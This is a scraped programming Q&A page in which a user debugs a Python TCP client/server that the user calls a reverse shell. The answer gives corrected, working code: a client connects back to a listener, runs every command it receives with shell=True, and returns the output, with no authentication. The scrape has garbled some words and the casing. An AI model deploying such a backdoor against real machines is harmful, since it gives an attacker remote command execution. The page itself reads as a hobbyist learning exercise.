sockets - TCP Server not receiving anything after initial connection. Python -



sockets - TCP Server not receiving anything after initial connection. Python -

so, i've been experimenting python's socket module , i've created simple tcp client/server setup. everything's running on same scheme (win7x64), on ip 192.168.1.3

here's client (it's reverse tcp connection):

import socket, subprocess, time me = '192.168.1.3' port = 1332 s = socket.socket(socket.af_inet, socket.sock_stream) while true: try: s.connect((me, port)) break except: time.sleep(1) s.send('[*] connected!') while true: info = s.recv(1024) output = subprocess.check_output(data, shell=true) s.send(output) s.close()

here's server:

import socket host = '0.0.0.0' port = 1332 s = socket.socket(socket.af_inet, socket.sock_stream) s.bind((host, port)) s.listen(5) def handler(client): req = client.recv(1024) print 'recieved: %s' % req command = raw_input('> ') print 'sending: %s' % command client.send(command) #client.close() while true: client,addr = s.accept() print 'accepted connection from: %s:%d' % (addr[0], addr[1]) client_handler = threading.thread(target=handler,args=(client,)) client_handler.start()

here's output receive on server:

accepted connection from: 192.168.1.3:61147 recieved: [*] connected! sending: *example command*

and hangs there. no matter client send, won't receive it. commands successful on client's side output isn't sent back.

halp?

edit: i've managed output of command received server 1 time encasing stuff in function in loop:

def handler(client): while true: req = client.recv(1024) print 'recieved: %s' % req command = raw_input('> ') print 'sending: %s' % command client.send(command)

so, if send dir command, receive output once. on trying send command, this:

exception in thread thread-1: traceback (most recent phone call last): file "c:\python27\lib\threading.py", line 810, in __bootstrap_inner self.run() file "c:\python27\lib\threading.py", line 763, in run self.__target(*self.__args, **self.__kwargs) file "c:\users\jami\documents\awn\eclipse usb backup\extracted\programming\python\random shit\reverseshell\receiver.py", line 13, in handler req = client.recv(1024) error: [errno 10053] established connection aborted software in host machine

edit:

can recommend alternative method? want do, server 1. send command client, 2. client execute , 3. send output , 4. output received server. , carry on until it's stopped user.

tcp streaming protocol. hence need kind of message format communication. second, need loop, send commands , read result. on client side, need kind of message protocol send results. i've utilize json encoded strings , new line end-of-message character.

the server:

import socket import threading import json host = '0.0.0.0' port = 1332 s = socket.socket(socket.af_inet, socket.sock_stream) s.bind((host, port)) s.listen(5) def handler(client): print 'recieved: %s' % client sock_input = client.makefile('r') while true: command = raw_input('> ') if command == 'exit': break print 'sending: %s' % command client.sendall(command + '\n') print json.loads(next(sock_input)) client.close() def main(): while true: client,addr = s.accept() print 'accepted connection from: %s:%d' % (addr[0], addr[1]) client_handler = threading.thread(target=handler,args=(client,)) client_handler.start() if __name__ == '__main__': main()

the client:

import socket import subprocess import time import json me = 'localhost' port = 1332 def main(): while true: try: s = socket.socket(socket.af_inet, socket.sock_stream) s.connect((me, port)) break except exception, e: print e time.sleep(1) sock_input = s.makefile('r') command in sock_input: try: output = subprocess.check_output(command, shell=true) except: output = 'could not execute.' s.sendall(json.dumps(output)+'\n') s.close() if __name__ == '__main__': main()

python sockets tcp client server

Comments

Popular posts from this blog

java - How to set log4j.defaultInitOverride property to false in jboss server 6 -

c - GStreamer 1.0 1.4.5 RTSP Example Server sends 503 Service unavailable -

Using ajax with sonata admin list view pagination -